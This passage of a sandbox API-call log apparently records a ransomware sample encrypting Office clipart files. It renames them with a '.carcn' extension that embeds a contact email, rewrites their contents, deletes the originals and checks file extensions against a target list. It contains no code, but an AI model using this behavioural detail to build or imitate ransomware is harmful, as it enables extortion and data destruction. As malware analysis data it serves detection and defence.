[0303.720] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.721] GetLastError () returned 0x0 [0303.721] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0303.721] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0303.936] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.936] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.936] SetEndOfFile (hFile=0x340) returned 1 [0303.936] CloseHandle (hObject=0x340) returned 1 [0303.936] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.936] SetEndOfFile (hFile=0x35c) returned 1 [0303.937] CloseHandle (hObject=0x35c) returned 1 [0303.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0303.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0303.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0303.938] lstrlenW (lpString=".doc") returned 4 [0303.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString=".docx") returned 5 [0303.938] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0303.938] lstrlenW (lpString=".pdf") returned 4 [0303.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString=".xls") returned 4 [0303.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.938] lstrlenW (lpString=".xlsx") returned 5 [0303.938] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0303.938] lstrlenW (lpString=".ppt") returned 4 [0303.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0303.938] lstrlenW (lpString=".zip") returned 4 [0303.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.938] lstrlenW (lpString=".rar") returned 4 [0303.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString=".bz2") returned 4 [0303.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString=".7z") returned 3 [0303.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0303.938] lstrlenW (lpString=".dbf") returned 4 [0303.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0303.938] lstrlenW (lpString=".1cd") returned 4 [0303.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0303.938] lstrlenW (lpString=".jpg") returned 4 [0303.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.939] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.939] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.939] GetLastError () returned 0x0 [0303.939] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0304.042] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0304.044] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.044] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.044] SetEndOfFile (hFile=0x340) returned 1 [0304.044] CloseHandle (hObject=0x340) returned 1 [0304.045] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.045] SetEndOfFile (hFile=0x35c) returned 1 [0304.046] CloseHandle (hObject=0x35c) returned 1 [0304.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0304.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0304.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0304.047] lstrlenW (lpString=".doc") returned 4 [0304.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.047] lstrlenW (lpString=".docx") returned 5 [0304.047] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0304.047] lstrlenW (lpString=".pdf") returned 4 [0304.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.047] lstrlenW (lpString=".xls") returned 4 [0304.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.047] lstrlenW (lpString=".xlsx") returned 5 [0304.047] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0304.047] lstrlenW (lpString=".ppt") returned 4 [0304.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0304.048] lstrlenW (lpString=".zip") returned 4 [0304.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.048] lstrlenW (lpString=".rar") returned 4 [0304.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.048] lstrlenW (lpString=".bz2") returned 4 [0304.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.048] lstrlenW (lpString=".7z") returned 3 [0304.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0304.048] lstrlenW (lpString=".dbf") returned 4 [0304.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0304.048] lstrlenW (lpString=".1cd") returned 4 [0304.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0304.048] lstrlenW (lpString=".jpg") returned 4 [0304.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.049] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.049] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0304.050] GetLastError () returned 0x0 [0304.050] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3632, lpOverlapped=0x0) returned 1 [0304.078] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3640, lpOverlapped=0x0) returned 1 [0304.082] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.083] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.083] SetEndOfFile (hFile=0x340) returned 1 [0304.091] CloseHandle (hObject=0x340) returned 1 [0304.091] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.091] SetEndOfFile (hFile=0x35c) returned 1 [0304.093] CloseHandle (hObject=0x35c) returned 1 [0304.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0304.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0304.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0304.095] lstrlenW (lpString=".doc") returned 4 [0304.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.095] lstrlenW (lpString=".docx") returned 5 [0304.095] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0304.095] lstrlenW (lpString=".pdf") returned 4 [0304.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.095] lstrlenW (lpString=".xls") returned 4 [0304.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.095] lstrlenW (lpString=".xlsx") returned 5 [0304.095] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0304.095] lstrlenW (lpString=".ppt") returned 4 [0304.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0304.095] lstrlenW (lpString=".zip") returned 4 [0304.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.095] lstrlenW (lpString=".rar") returned 4 [0304.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.095] lstrlenW (lpString=".bz2") returned 4 [0304.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.095] lstrlenW (lpString=".7z") returned 3 [0304.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0304.095] lstrlenW (lpString=".dbf") returned 4 [0304.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0304.095] lstrlenW (lpString=".1cd") returned 4 [0304.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0304.096] lstrlenW (lpString=".jpg") returned 4 [0304.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.096] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.097] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0304.097] GetLastError () returned 0x0 [0304.097] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x25c7, lpOverlapped=0x0) returned 1 [0304.114] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x25d0, lpOverlapped=0x0) returned 1 [0304.116] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.116] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.116] SetEndOfFile (hFile=0x370) returned 1 [0304.116] CloseHandle (hObject=0x370) returned 1 [0304.116] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.116] SetEndOfFile (hFile=0x35c) returned 1 [0304.117] CloseHandle (hObject=0x35c) returned 1 [0304.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0304.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0304.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0304.118] lstrlenW (lpString=".doc") returned 4 [0304.118] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.118] lstrlenW (lpString=".docx") returned 5 [0304.118] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0304.118] lstrlenW (lpString=".pdf") returned 4 [0304.118] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.118] lstrlenW (lpString=".xls") returned 4 [0304.118] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.119] lstrlenW (lpString=".xlsx") returned 5 [0304.119] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0304.119] lstrlenW (lpString=".ppt") returned 4 [0304.119] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0304.119] lstrlenW (lpString=".zip") returned 4 [0304.119] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.119] lstrlenW (lpString=".rar") returned 4 [0304.119] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.119] lstrlenW (lpString=".bz2") returned 4 [0304.119] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.119] lstrlenW (lpString=".7z") returned 3 [0304.119] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0304.119] lstrlenW (lpString=".dbf") returned 4 [0304.119] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0304.119] lstrlenW (lpString=".1cd") returned 4 [0304.119] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0304.119] lstrlenW (lpString=".jpg") returned 4 [0304.119] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.120] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.120] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0304.121] GetLastError () returned 0x0 [0304.121] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0304.137] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0304.139] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.139] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.139] SetEndOfFile (hFile=0x370) returned 1 [0304.139] CloseHandle (hObject=0x370) returned 1 [0304.139] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.139] SetEndOfFile (hFile=0x35c) returned 1 [0304.140] CloseHandle (hObject=0x35c) returned 1 [0304.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0304.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0304.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0304.141] lstrlenW (lpString=".doc") returned 4 [0304.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.141] lstrlenW (lpString=".docx") returned 5 [0304.141] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0304.141] lstrlenW (lpString=".pdf") returned 4 [0304.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.141] lstrlenW (lpString=".xls") returned 4 [0304.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.141] lstrlenW (lpString=".xlsx") returned 5 [0304.141] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0304.141] lstrlenW (lpString=".ppt") returned 4 [0304.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0304.141] lstrlenW (lpString=".zip") returned 4 [0304.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.141] lstrlenW (lpString=".rar") returned 4 [0304.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.141] lstrlenW (lpString=".bz2") returned 4 [0304.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.141] lstrlenW (lpString=".7z") returned 3 [0304.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0304.142] lstrlenW (lpString=".dbf") returned 4 [0304.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0304.142] lstrlenW (lpString=".1cd") returned 4 [0304.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0304.142] lstrlenW (lpString=".jpg") returned 4 [0304.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.142] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.142] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0304.143] GetLastError () returned 0x0 [0304.143] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0304.795] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0304.799] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.799] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.800] SetEndOfFile (hFile=0x370) returned 1 [0305.016] CloseHandle (hObject=0x370) returned 1 [0305.016] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.017] SetEndOfFile (hFile=0x35c) returned 1 [0305.017] CloseHandle (hObject=0x35c) returned 1 [0305.018] SetFileAttributesW 